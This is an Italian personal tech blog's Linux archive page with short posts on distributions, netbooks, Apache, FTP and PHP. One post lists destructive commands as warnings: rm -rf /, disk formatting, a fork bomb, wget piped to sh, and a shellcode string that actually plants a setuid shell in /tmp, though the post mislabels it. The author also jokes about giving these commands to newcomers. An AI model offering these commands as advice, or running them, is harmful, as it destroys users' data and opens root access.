Linux

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Martedi' 09 Giugno 2009 (ATA Hotel Villa Pamphili, Roma): Red Hat Symposium - Open Source Day

2009-06-09 09:30
2009-06-09 18:00

Red Hat SymposiumNon posso, purtroppo ma per ovvii motivi, partecipare a tutti gli eventi, e nel caso dell'Open Source Day del 9 Giugno, il "purtroppo" e' piu' che mai sentito, dato che l'argomento del convegno e' piu' che interessante.

Maggiori informazioni sull'evento, se pensate di poterci andare (e' a Roma) le potete trovare qui:
- Facebook
- Open Source Day
- Iscrizione

[How-To] Crearsi una Distribuzione Linux Personalizzata con Revisor

Posted by DElyMyth on Sun, 2009-05-03 17:00 in

RevisorInstallare un Sistema Linux Personalizzato non e' sempre una cosa banale.
Si, insomma, si installa, si configura, e si spera di riuscire a clonare la macchina in qualche modo.
Recentemente ho pero' scoperto Revisor, un tool che esiste sicuramente per Fedora (per le altre dovrei controllare) e che permette, in relativamente pochi passaggi, di creare Distribuzioni Linux Perfettamente Personalizzate, da masterizzare su CD/DVD per la normale installazione, piuttosto che su Chiavette USB o addirittura ISO Live.

Insomma, ci si fa di tutto.

Revisor, su Fedora, e' installabile dal gestore delle applicazioni, e una volta avviato permette di selezionare i Pacchetti da installare sulla distribuzione "nostra" uno per uno, permette di impostare le password degli utenti, il Desktop Manager predefinito, e via discorrendo.

A quanto vedo, la configurazione e' assolutamente banale, e la cosa peggiore sara' attendere che Revisor scarichi i pacchetti e crei la ISO.
Dopodiche', non restera' che masterizzarla e testarla :-)

[PC Plus, via Lifehacker]

Avviare il Netbook in 15 Secondi Diventa Possibile... Con Presto!

Posted by DElyMyth on Thu, 2009-04-02 11:00 in

PrestoNell'ultimo anno, molti (compresa la sottoscritta) si sono fatti prendere dalla foga di dotarsi di Netbook.
Costano poco, sono leggeri, diventano compagni di avventure davvero ideali (e soprattutto alla portata di tutti o quasi).

Il problema?
Beh, che quando siete in giro e dovete controllare una mail di corsa, il Telefono resta ancora il metodo piu' pratico, dato che il Sistema Operativo ci mette comunque qualche minuti ad avviarsi...

A questo problema pone rimedio Presto, una Distribuzione Linux creata dagli stessi ideatori di Xandros e che promette l'avvio della vostra macchina in 15 secondi (ok, famo 30...).

Il Software in dotazione e' piu' o meno standard, quindi comprende i due strumenti ormai irrinunciabili che sono Firefox e Skype, ma si puo' comunque installare, da un comodissimo pannello di controllo, di tutto, tramite il CNR che gia' veniva utilizzato da Linspire.

Fino al 13 Aprile, Presto sara' gratuita ed in Beta, successivamente costera' sembra una ventina di dollari.

[Presto, via Geekissimo]

[Vignette] I'm a Mac, I'm a PC, I'm Linux

Posted by DElyMyth on Thu, 2009-04-02 09:00 in
[Vignette] I'm a Mac, I'm a PC, I'm Linux

D'accordo, e' una vacata, ma merita comunque :-)

[LinuxHaxor, via Linux Today]

Tiny Core Linux: Distribuzione Minimale e Modulare

Posted by DElyMyth on Mon, 2009-03-30 23:00 in

Tiny Core LinuxSe qualcuno di voi avesse "d'avanzo" una macchinetta poco potente (486DX? :P), finalmente e' giunto il momento di riciclarla.
Come?
Semplicemente, dandole nuova vita grazie ad una Distribuzione Linux fatta apposta per pesare molto poco, e permettervi di installare solo quello che realmente vi serve.

Tiny Core Linux fa giusto questo.
E' un ambiente operativo che potete personalizzare, grazie alla disponibilita' di Moduli, proprio come vi serve, e che ha il pregio di funzionare in piu' omeno qualunque situazione.

Hardware datato, classi dove dovete controllare chi installa cosa e come si personalizza l'ambiente di lavoro, e via discorrendo...

Per iniziare, ovviamente, si da' una lettura al sito ufficiale, da cui si possono vedere Screenshot, leggere le FAQ, e ovviamente Scaricare Tiny Core Linux.

[LinuxPlanet, via Linux Today]

Screenshot Gallery: Ubuntu 9.04 su Nokia N8x0

Posted by DElyMyth on Fri, 2009-03-20 20:00 in

Ecco un'altra cosa che non ho mai fatto, avrei avuto l'occasione di fare e molto probabilmente, all'epoca, avrei fatto.
Installare Ubuntu Linux su Nokia N800 (che avevo).

Certo, oggi le cose per me sono diverse, non ho piu' ne' tempo ne' voglia ne' testa di fare cose del genere, ma se la' fuori, tra voi, ci fosse qualcuno interessato, le istruzioni complete per fare questa installazione si possono trovare qui.

[Internet Tablet Talk Forums, via Engadget]

Screenshot Gallery: Ubuntu 9.04 su Nokia N8x0
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[Linux] Qimo 4 Kids. Distribuzione Linux Fatta Apposta Per Bambini

Posted by DElyMyth on Tue, 2009-03-17 22:00 in

Qimo 4 KidsPare che Ubuntu sia la Distribuzione Linux piu' usata e riadattata, anche se io personalmente preferisco ed uso (ove possibile) Fedora (per i client) e CentOS (per i server), ma si sa che io arrivo da prima Slackware e poi RedHat, quindi forse non faccio testo...

Ad ogni modo, un'altra Distribuzione derivata da Ubuntu e' Qimo 4 Kids, una Distribuzione pensata apposta per i Bambini sopra i tre anni.
Caratterizzata dalle applicazioni (educative, ovviamente), dalle grandi icone (che quindi piaceranno ai bambini) e dalla leggerezza di una variante di XFCE, e' l'ideale per quei genitori che non tollerano l'utilizzo di Software Proprietario e che vorrebbero instillare le stesse idee anche ai bambini.

Guerre di religione a parte (che bene o male la frecciatina ogni tanto mi scappa), una distribuzione di questo genere vi permette non solo di riciclare un Computer per i vostri Bambini, ma anche di lasciare che lo utilizzino da soli, dal momento che le applicazioni che vi sono installate sono "sicure".

[Qimo 4 Kids, via Geekissimo]

[Video] Dopo Windows su Nokia, Proviamo Linux su iPod Touch (e iPhone, suppongo)

Posted by DElyMyth on Thu, 2009-03-12 14:00 in
Video: 

AppleOk, forse non e' la stessa cosa di infilare Windows 98 su un Cellulare Nokia (qui), pero' e' pur sempre un esperimento mirabile...
L'unico "difetto" che ci vedo e' che per funzionare necessita dell'iPod Touch collegato al computer, e messo in Recovery Mode.
Si, insomma...
Non e' che poi sull'iPod giri Linux normalmente... :P

[YouTube, via iPhonissimo, via Il Tuo iPhone]

[How-To] Installare Fedora 10 (Live) su Asus EeePc 900, Usare PortableApps, e Vivere Felici :D

Posted by DElyMyth on Thu, 2009-01-29 09:00 in

LiveUSB CreatorOrmai da anni la mia distribuzione Linux preferita e' Fedora.
Quando ho acquistato Breeze infatti, non avessi avuto necessita' di una macchina Windows, e avessi avuto il dovuto tempo per cercare, informarmi, e compagnia, ci avrei messo quella.
Ma all'epoca non avrei fatto cio' che ho fatto ieri.

La ragione sta nel fatto che ho realizzato, l'altro giorno, quanto sia pericoloso andare in giro con un portatile e peggio ancora con Chiavette USB (vedi PortableApps).
E magari avere a disposizione, sempre, una macchina Linux con cui disinfestare le suddette Chiavette, sarebbe sempre una bella cosa.
Ma come fare visto che ormai ho tutto su PortableApps, che gira su Windows?

Per prima cosa, essere scaramantici e non segare Windows e' una buona idea, quindi la soluzione e' una distribuzione Linux su Pen-Drive, che nel mio caso e' una Scheda SDHC da 8Gb (vedi qui per le motivazioni), e quando ho scoperto il liveusb-creator di Fedora, ho deciso di usare quello.

Ok, a sistemare la chiavetta ci ha messo due ore, ma poi il boot da USB e' stato semplice.
Premere ESC all'avvio del computer per scegliere il disco da cui avviare, selezionare l'USB (un Hub con lettore di schede incorporato, finito attaccato col solito velcro industriale al monitor, nella mia migliore tradizione), e attendere (circa lo stesso tempo che per l'avvio di Xp, nulla di drammatico, ho visto di peggio quando ci ho messo Vista).

LiveUSB-Creator permette, tra le altre cose, di scrivere sul dispositivo, per cui la live e' molto piu' configurabile del dovuto, anche quando non la si installa sul computer.
Si creano utenti, assegnano password, e soprattutto, si installa Wine (yum install wine).
Poi PortableApps funziona esattamente come da Windows, anche se devo ammettere che i font sono un po' scazzati.

Il risultato e' una Macchina Linux Ultraportatile.
Non solo nel senso che gira su un Ultraportatile, ma anche nel senso che la stessa scheda, e la stessa chiavetta di PortableApps, le potete usare davvero su qualunque computer, anche privo di Hard Disk, a questo punto.

Cosa Funziona (della serie: che culo, non ci speravo):
Il Wi-Fi, insperabilmente, va senza problemi, idem l'adattatore BlueTooth della Trust, e anche l'Audio funziona (anche da Wine).
Strano ma vero, regge decentemente anche Compiz sotto Gnome, e anche la trasparenza del terminale non rallenta esageratamente il sistema.

Non Funziona, ma me ne frego:
Il Lettore SD Interno, ma dato che ho l'Hub/Lettore "a monitor" me ne posso appunto fregare.
La Sospensione, nel senso che in sospensione ci va, ma non riesce a tornare su... Magari e' stato un problema momentaneo di ieri sera, ma non so quando ci riprovero' :P
L'Ibernazione ovviamente non ho avuto il coraggio di provarla.
Altro (?) che non so, piu' che altro perche' non uso :P

E adesso, qualunque computer io usi, posso davvero avere il MIO ambiente di lavoro.
E me ne posso fregare del disco interno (sisammai se schianta di nuovo l'SSD, gia' successo in fondo...) ;-)

[Ultraportatili] Jolicloud, una Distribuzione Linux Studiata Apposta per i Netbook

Posted by DElyMyth on Tue, 2009-01-27 18:00 in

JolicloudOrmai se ne sono accorti tutti, gli Ultraportatili vendono un casino ed e' sempre piu' raro trovare qualcuno che non abbia quantomeno pensato ad acquistarne uno (per se' o per un parente/amico...).
Purtroppo il sistema operativo preinstallato (che sia Windows o Linux, anche se utimamente ci montano piu' Xp che altro...) quasi mai risulta essere completamente soddisfacente per l'utente.

Si vorrebbe la possibilita' di installare piu' applicazioni (se si tratta della Xandros dell'EeePc, che io ho eradicato appena dopo averla vista...), o di avere prestazioni migliori (questo invece capita con Windows, e ne so qualcosa :P).

Ebbene, Tariq Krim, gia' autore di Netvibes, ha pensato di creare una Distribuzione Linux (un'altra?!?) studiata apposta per questo genere di computer, che abbia una Dashboard per le cose di utilizzo piu' frequente, e che comprenda di base una serie di pacchetti che gli utenti di Ultraportatili (Netbook?) potrebbero considerare indispensabili.

[Netbook News]

[Linux] CentServer, CentOS Minimale, 64-bit, Installazione in 5 Minuti.

Posted by DElyMyth on Thu, 2009-01-01 12:00 in

CentOSNon so da quanto tempo non scrivo piu' qualcosa che riguardi Linux (dicendo "dall'anno scorso" non sbaglio pero', ma oggi e' banale...), ma non ho mai smesso di interessarmi alla materia (in fondo, fa pur sempre parte del mio lavoro...).

Da un pezzo, per i miei server (e anche per quelli di clienti, se me lo chiedono), ho una smaccata preferenza per CentOS come distribuzione, un Clone di RedHat, pero' gratuita, che per fortuna era possibile ottenere anche sui miei server di Slicehost.
Data questa mia preferenza, quando ho letto di CentServer, non ho potuto fare a meno di curiosare.

Si tratta di una particolare "versione" di CentOS, pensata apposta per essere montata su Server.
Manca infatti dell'ambiente grafico (che una volta me lo sono trovato, su un server, e ho pianto per toglierlo...), che sta in un Cd (meno di 400Mb, mica male!), e fornita di Installer automatico per cui ci si sta solo cinque minuti ad installare il tutto.

Certo, la configurazione e la personalizzazione sono da fare dopo l'installazione, ma almeno non si deve perdere la classica mezz'ora nella disabilitazione di tutti i pacchetti grafici che vengono installati ormai ovunque, e si puo' quindi disporre di un server un minimo ottimizzato...
Che mi ricorda proprio quello che ho avuto su Slicehost.
Manco mc avevano installato :(

[Click, via Linux Today]

[Help?] Xerox Workcentre 7328 e Linux Ubuntu 8.10. Con Che Cacchio di Driver?!?

Posted by DElyMyth on Mon, 2008-12-15 23:00 in

DElyMythOgni tanto, lavorativamente parlando, vedo delle cose che potrebbero rasentare il paranormale.
Si, insomma, tipo la mezz'ora abbondante "buttata via" questa mattina per non concludere sostanzialmente una mazza nel tentativo di installare una stampante.

Scenario:
Computer con Ubuntu 8.10 aggiornatissima, e una stampante di rete Xerox 7328, laser a colori.
Stando al produttore (Xerox) la stampa su Linux e' piu' che supportata, quindi si vanno a reperire i dirver (il ppd) e si prova.

Ebbene, nessun driver reperito e' riuscito nell'opera di far riconosere correttamente la stampante al povero computer.
Si, insomma, i risultati sono stati variabilissimi.
Dalle pagine bianche stampate a raffica al nulla piu' assoluto.

Escludendo l'idea di usare un Driver LaserJet generico (che non stamperebbe a colori nemmeno sotto tortura), sapete per caso dirmi come stracacchio modificare il ppd della Xerox in modo che CUPS invii qualcosa di comprensibile a quella macchina infernale?

Grazie a chiunque sia in grado di proporre una soluzione (funzionante, magari, che di non funzionanti questa mattina ne sono state provate almeno cinque -.-)

[Curiosita'] 7 Comandi Linux da Evitare Come la Peste

Posted by DElyMyth on Mon, 2008-12-01 10:00 in

LinuxSe non avete una grande dimestichezza con Linux, dovreste fare attenzione ai suggerimenti che potrebbero venirvi dati in forum o newsgroup di "buontemponi", e sicuramente evitare i comandi che seguono, che sono assolutamente dannosi (ed in alcuni casi distruttivi) se applicati ad un sistema (immaginate ad un server...).

Ad essere sincera, anni fa su IRC il primo di questi comandi l'ho anche consigliato a qualcuno, ma non ne ricordo la causa (a parte che era un rompiscatole di prima categoriae quindi si meritava la fine che ha fatto :P).

  1. rm -rf /
    Questo comando, molto semplicemente, vi "rade al suolo" (cancella) tutto quello che si trova sul computer, senza chiedervi nemmeno la conferma.
  2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";

    La versione in Esadecimale del comando precedente, che in effetti e' abbastanza complessa da decifrare.
  3. mkfs.ext3 /dev/sda
    L'equivalente del "format" su Windows, comando che e' corretto eseguire se il disco in /dev/sda e' nuovo o da cancellare, ma un po' meno corretto se si tratta della vostra unita' principale (nel qual caso perdete tutto, partizioni comprese).
  4. :(){:|:&};:
    Un "forkbomb", che ai tempi dell'universita' potevamo anche chiamare, confidenzialmente "coniglio", anche se lo scrivevamo come "while 1; fork;".
    Insomma, fa in modo che la macchina sia impegnata, fino alla "morte" a creare nuovi processi ed eseguirli.
  5. any_command > /dev/sda
    Redirezionare un comando su un'unita' disco non e', comprensibilmente, una cosa saggia.
    Diciamo che il disco ve lo cancella.
  6. wget http://some_untrusted_source -O- | sh
    Anche eseguire comandi piu' o meno a cacchio non e' una cosa saggia, ed e' quello che questo comando fa.
    Scarica un file da una fonte, e lo esegue, cosi', senza verifiche.
  7. mv /home/yourhomedirectory/* /dev/null
    /dev/null, per chi non lo sapesse, e' una specie di "cestino" in sistemi "unix-like".
    Pertanto, se ci piazzate dentro la vostra home, la cancellate abbastanza brutalmente.

Questi sono ovviamente solo alcuni dei comandi da evitare (o da consigliare se avete un neofita che vi sta sulle balle e che volete togliervi di torno...), molti altri sono presenti nei commenti alla mia fonte, come il "dd" che ho utilizzato anni fa per cancellare un disco in modo "pratico e veloce".

[Tech Source From Bohol, via Digg]

Launch2Net Disponibile Anche per Linux (Grazie Nova Media?)

Posted by DElyMyth on Fri, 2008-09-05 15:00 in

Launch2Net Linux

Di Launch2Net ho gia' scritto, in passato, dato che e' l'applicazione che utilizzo per la connessione mobile ad Internet (oddio, adesso a casa uso un router HSDPA Wi-Fi, che e' piu' comodo, ma non me lo porto certo dietro in giro per il mondo :P).

Certo, avendo io un Mac non avevo idea che fosse disponibile anche per Linux, cosa che ho scoperto solo pochi giorni fa.
Questo cosa significa?
Beh, significa che se utilizzate un portatile con Linux e uno dei modem supportati (il solito Huawei e220, la "saponetta bianca", va con tutto :P), potete utilizzare Launch2Net per tenere meglio sotto controllo la vostra conessione mobile.

Il che mi fa pensare che devo sempre rimettere in sesto l'EeePc...
E magari, a questo punto, potrei anche rimetterci il Linux di default...
Quasi quasi...

[Launch2Net, via EeePc.it]

Famelix: Linux Con L'Estetica di Vista

Posted by DElyMyth on Mon, 2008-06-16 21:43 in

Famelix

Quella che vedete qui sopra puo', a prima vista, sembrare la Taskbar (con un pezzo di Menu Avvio) di Windows Vista, ma non e' cosi'.
Si tratta infatti della barra della Distribuzione Linux Famelix (Brasiliana), creata apposta con un'interfaccia molto simile a Windows Vista (anche nelle icone).

La ragione per cui abbiano cercato (e creato con successo, stando agli Screenshots) questa interfaccia mi sfugge...

[Dario Salvelli]

[Video] Killer Tux (LOL)

Posted by DElyMyth on Mon, 2008-04-21 12:00 in
Video: 

 Devo ammettere che il finale non e' niente male, e soprattutto e' assolutamente realistico! :-)

[AppleCow]

OpenSUSE Arriva Alla Versione 11.0 (Alpha 2)

Posted by DElyMyth on Wed, 2008-02-13 15:16 in

openSUSE Il mio interesse (e la mia preoccupazione) in questo senso probabilmente sara' cosa comprensibile a ben poche persone che mi leggono...

Ad ogni modo, e' uscita la versione 11.0 Alpha 2 di OpenSUSE.

La cosa che mi colpisce di piu' (come gia' accadde circa un anno fa) di questa release di Linux, e' il fatto che sembra voler imitare in tutto e per tutto l'interfaccia di Windows.
Negli screenshot di questa pagina infatti intravediamo abbastanza distintamente un KDE che richiama l'interfaccia grafica di Vista, e il solito menu "Start" (ops, sorry, "K"), anche questo pericolosamente rassomigliante al menu avvio dell'ultima versione di Windows.

Ora, che Windows sia il sistema operativo piu' utilizzato al mondo, non significa che la sua interfaccia sia la migliore, e soprattutto non significa che sia la piu' intuitiva (non lo e', almeno per quello che penso io).
Questa "mania" di imitare Windows anche da parte di un sistema come Linux sinceramente mi lascia ogni giorno piu' perplessa.

Rimpiango WindowMaker (non dico fvwm 2 perche' quello se lo ricordano in pochi...)

[via oneOpenSource]

Linspire Rilascia CNR.com in Beta Pubblica

Posted by DElyMyth on Sun, 2007-12-09 16:59 in

cnr-beta-logo.pngE' passato tanto tempo da quando avevo scritto di CNR.
Avevo anche scritto che avrei cercato di aggiornare sugli sviluppi, ed infatti eccomi qua.
Proprio qualche giorno fa mi e' arrivata per posta elettronica (su due caselle ovviamente) la notizia che CNR Beta e' stato rilasciato.
Il servizio permette di installare con semplicita' un discreto quantitativo di programmi perLinux, senza doverseli cercare e dover badare alle varie dipendenze che questi hanno.
Sara' infatti il programma ad occuparsi di tutto.

Attualmente il supporto e' disponibile per Freespire 2.0, Linspire 6.0, Ubuntu 7.04 & 7.10, ma verra' presto (?) ampliato a Debian, Fedora, OpenSUSE, in modo che utilizzare Linux diventi sempre piu' semplice.

OpenSuSE 10.3 - Disponibile in Versione Live (per provare...)

Posted by DElyMyth on Sat, 2007-11-10 09:08 in

opensuselive.jpg

Sembra che sia disponibile, per il Download, una versione Live di OpenSuSe 10.3, ultima versione della distribuzione Linux che piu' ho odiato nella mia vita.
Gia' quando si tratto' di provare (ed installare, da un cliente) la 10.2, ho tirato un discreto quantitativo di madonne, e soprattutto mi sono trovata peggio che male con il menu di KDE, fin troppo somigliante (ho scoperto dopo) al nuovo menu Start di Windows (s)Vista.

Le versioni scaricabili attualmente sono due:
- OpenSuSE 10.3 Gnome Live
- OpenSuSE 10.3 KDE Live

Tocchera' provarla.
In macchina virtuale ovviamente (cosi' schianto anche Parallels e siamo tutti piu' felici...)

[OpenSuSE News, via Lifehacker.]

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Huawei E220 (ma non solo) sotto Linux? Si Puo'!

Posted by DElyMyth on Fri, 2007-11-02 00:56 in

Il Modem UMTS/HSDPA Huawei E220 si sta attestando ormai come unico compatibile con tutti i sistemi operativi esistenti sulla faccia della terra, da oggi anche grazie ad un'interfaccia grafica per Linux.

Windows Xp
Per Windows Xp, non ci sono mai stati grossi problemi, ed i driver sono piu' che reperibili praticamente ovunque.

Windows Vista
Per Windows Vista le cose sono purtroppo diverse, e sembra che il sistema non sia assolutamente intenzionato a "vedere" il dispositivo.
Per fortuna Gioxx ha scritto una procedura per ottenere il funzionamento del Modem anche sotto Vista (grazie)

Mac
Anche in questo caso c'e' scelta.
Per gli abbonati Tre si puo' utilizzare il driver fornito a suo tempo dall'operatore (che trovate anche qui in fondo al post), ma in caso vogliate avere un maggiore controllo sul traffico e sul Roaming, potete fare riferimento a questo mio pezzo in proposito e installare Launch2Net.

Mancherebbe solo Linux...
Forse.
Anzi, no.

Grazie a questo articolo vengo infatti a conoscenza della disponibilita' di un programma (brandizzato Vodafone, ma pare funzioni anche con altri operatori) per connettervi ad Internet con il modem in questione anche sotto Linux.
Maggiori informazioni e download (e' sempre una Beta) le trovate sulla Home Page del Progetto, mentre, come ho gia' scritto, su HowtoForge e' presente un Tutorial dettagliato per effettuarne l'installazione su piu' o meno qualunque release di Linux.

Viva la Huawei?

[Hint] Abilitare il mod_rewrite su Apache 2.2 (Compilato a Mano)

Posted by DElyMyth on Wed, 2007-10-31 10:08 in

Potrei aprire una sezione intitolata "Forse non tutti sanno che..." o anche "Esperienze di SysAdmin vissuto..."...
O forse semplicemente taggare qualche post come "Hint", come questo.

Il problema nacque quando un cliente mi fece notare che il mod_rewrite su un server non era abilitato.
Quel server, causa vecchie abitudini mie, aveva un Apache (e mica solo quello) compilato a mano, invece che installato da pacchetto.
Perche' compilato a mano?
Perche' e' piu' aggiornato, e non ha tanta fuffa inutile.

Peccato che, come ho scoperto, non abbia nemmeno la fuffa utile, come, ad esempio, il mod_rewrite (di cui avevo anche scritto qui).
Diciamo che non lo uso cosi' spesso da accorgermi della sua assenza :P

Come infilarlo?
Girando per Internet e Google ho scoperto di tutto, tra cui come compilare il modulo su Apache 1.3 (e' una 2.2), come abilitarlo su Debian (installato da apt... sorry, non va bene), e come abilitarlo.
Ma cosa fare se lo stramaledetto mod_rewrite.so manca?

Semplice, si convince Apache a compilarlo.
Per farlo e' sufficiente inserire, sulla linea del ./configure, l'opzione --enable-rewrite=shared.
Dopodiche', teoria vorrebbe che sarebbe sufficiente il canonico make && make install...
Invece no.
Se prima di dare il make non avete l'accortezza di dare un make clean lui non aggiunge una mazza, anche se avete cambiato tutte le opzioni.

Quindi make clean && make && make install.
Ovviamente, in caso di compilazione manuale, vi tocca anche aggiungere la seguente riga all'httpd.conf:
LoadModule rewrite_module modules/mod_rewrite.so

A questo punto, se prima di compilare non avete dato il simpatico apachectl stop, sarete felici di sapere che non funziona piu' una mazza (pagine bianche a gogo', da queste parti).
Quindi, prima di farvi prendere dal panico, ricordatevi che avete ricompilato con il server avviato (oh, era in produzione...), rilassatevi e, con molta calma e seraficita', digitate, in sequenza:
apachectl stop
apachectl start

So benissimo che, a teoria, un piu' pratico (comando singolo) apachectl restart dovrebbe sortire gli stessi effetti, ma volendo essere scaramantici uno stop e uno start puliti sono sempre meglio.

[Tutorial] Apache, Mod_Rewrite e Regular Expressions

Posted by DElyMyth on Tue, 2007-10-09 17:23 in

Apache e' il piu' popolare Web Server la' fuori (attendo la polemica con i sostenitori di IIS :P), ma non tutti ne sanno sfruttare appieno le potenzialita'.
Una delle cose piu' utili di Apache sono infatti le Rewrite Rules, che permettono, tra le altre cose, di "rimappare" i propri indirizzi web.
Un esempio per tutti, fatto su questo stesso Blog:
Drupal vorrebbe gli indirizzi come "http://www.delymyth.net/index.php?q=node/xxx", dove xxx e' l'ID del post nel database.
Bruttino vero?
Infatti i post qui sono raggiungibili come "http://www.delymyth.net/node/xxx", dove xxx e' sempre l'ID del post, ma esteticamente il risultato e' piu' piacevole.

Il problema, con le Rewrite Rules, e' che non sempre e' facile costruirle, e non tutti gli esempi che si trovano in giro sono quelli che ci servono.
Vi estraggo qualcosa da questo utilissimo articolo, a cui vi rimando per un eventuale approfondimento.

RewriteCond
Questa clausola vi permette di specificare le condizioni verificate le quali si applicano le regole che seguono.
Se, ad esempio, volete bloccare uno spcifico Referer, potete scrivere una regola di questo genere:

RewriteCond %{HTTP_REFERER} !^www\.delymyth\.net$ [NC]
RewriteRule .? http://www.delymyth.net%{REQUEST_URI} [R=301,L]

(i parametri li vediamo in seguito)

Flags
Ovvero quelle cose che compaiono tra parentesi quadre alla fine.

last|L
Determina la fine di una Condizione (vedi sopra), ma non la fine dell'applicazione totale delle regole.

nocase|NC
Fa si' che Apache ignori il case (maiuscolo/minuscolo) quando deve applicare le regole.

redirect|R
Redirige (rimappa) il Browser verso un'altra URL, rendendo (di default) il codice 302 del server.
E' possibile ovviamente specificare un altro codice.

qsappend|QSA
Noto anche come Query String Append, fa in modo che quello che segue un eventuale "?" venga ripassato nella riscrittura dell'URL.

forbidden|F
Fa si' che Apache renda un codice di errore 403 (Forbidden, appunto) alla richiesta.

ornext|OR
Normalmente, quando si concatenano delle condizioni, queste vengono concatenate con un operatore booleano "AND", se si vuole usare un OR, va specificato.

Commenti
E' possibile "commentare" delle regole, inserendole in mezzo a questi "tag":
RewriteEngine Off
RewriteEngine On

Queste sono le cose fondamentali, altre le trovate (insieme ad esempi completi) sulla pagina di riferimento.
Nella seconda pagina trovate invece riferimenti per le Espressioni Regolari, che vi permettono di imparare a giocare sul serio con le vostre redirezioni :)

[via DZone]

Resettare la Password di Root su OpenBSD

Posted by DElyMyth on Fri, 2007-09-28 08:04 in

Da tempo sono iscritta alla newsletter di NixCraft, anche se fin troppo di rado ho il tempo materiale di leggerne anche solo i titoli.
Ebbene, oggi, finalmente, l'ho fatto, e benche' io OpenBSD non la usi praticamente mai, trovo interessante la segnalazione di come resettarne la password di root.

La procedura e' in realta' molto semplice, ed e' sufficiente avviare il sistema in "Single User Mode" con il comando:
boot> boot -s

Successivamente e' necessario montare i file system, con questi comandi:
# mount -uw /
# mount /usr

E poi procedere con il vero e proprio cambio della password, con il semplice:
passwd

Procedura semplice e rapida :)

[via NixCraft]

[Tutorial] Mandare Mail con PHP

Posted by DElyMyth on Wed, 2007-09-12 07:54 in

Ecco un problema (finto) che mi sono trovata ad affrontare giusto pochi giorni fa per un cliente...
L'invio di messaggi di posta elettronica tramite form in PHP.
Viene in aiuto la funzione mail(), esistente sia nella versione 4 che nella versione 5 del linguaggio.

La funzione mail() supporta fino a quattro parametri, nell'ordine:
- $email_address_to (stringa, obbligatorio) - Permette di specificare il destinatario della mail
- $subject (stringa, obbligatorio) - Permette di specificare l'oggetto della mail
- $message_contents (stringa, obbligatorio) - Permette di specificare il testo della mail (ricordatevi di andare a capo con \n\r)
- $additional_headers (facoltativo, stringa) - Permette di specificare Header aggiuntivi per la mail (il From:, ad esempio...)
- $additional_parameters (stringa, facoltativo) - parametri aggiuntivi che dipendono dal software con cui inviate la mail (ad esempio sendmail)

E' poco indicata per fare "mass-mailing", a causa del carico a cui sottoporrebbe il server (aprendo una singola connessione SMTP per ogni singola mail...), ma e' molto utile per creare form di contatto da integrare sui vostri siti web.

[HowtoForge, via Linux Today]

Pure-FTPd - Problemi di Connessione?

Posted by DElyMyth on Tue, 2007-09-04 23:56 in

Perche' quando Internet funziona, va tutto bene, ma quando da qualche parte nel mondo c'e' un problema, si scoprono le magagne...
E cosi' fu.
Ma dato che Google e' stato fin troppo parco (si potrebbe dire "assolutamente omertoso") in fatto di informazioni, ho pensato di riassumere tutto qui, a futura memoria.

Primo Problema:
Quando vi connettete al server ftp da riga di comando, vi risponde con un poco simpatico: 425 Sorry, invalid address given
Questo succede (fonte questo articolo) quando non specificate il parametro -P nella riga di comando di avvio del server e non utilizzate un client sufficientemente intelligente (infatti da' il problema solo da riga di comando, e non da client...)
Soluzione: aggiungete il -P famoso, seguito dal nome host che la gente usa per collegarsi al server ftp.

Secondo Problema:
Apparentemente funziona tutto, ma le connessioni vanno in timeout, benche' il server risulti piu' che raggiungibile.
Questo puo' essere colpa della mancata risoluzione dell'indirizzo IP del client, e l'unico modo per beccarlo e' un "nslookup" su quell'IP (si arriva a farlo solo per esasperazione e mancanza di idee), che andra' tragicamente in timeout qualora il DNS si sia rincretinito.
Soluzione: molto banalmente, fate in modo che Pure-FTPd non provi nemmeno a fare la risoluzione degli indirizzi, con il parametro -H.

Perche' pubblico qui queste due vaccate?
Semplicemente perche' via Google non ho trovato una mazza e mi e' toccato andare ad intuito, su un server di un cliente, in produzione, e proprio quando al cliente serviva accedere via FTP.

Per ulteriori parametri utili di Pure-FTPd, potete leggere l'altro articolo che avevo scritto in proposito.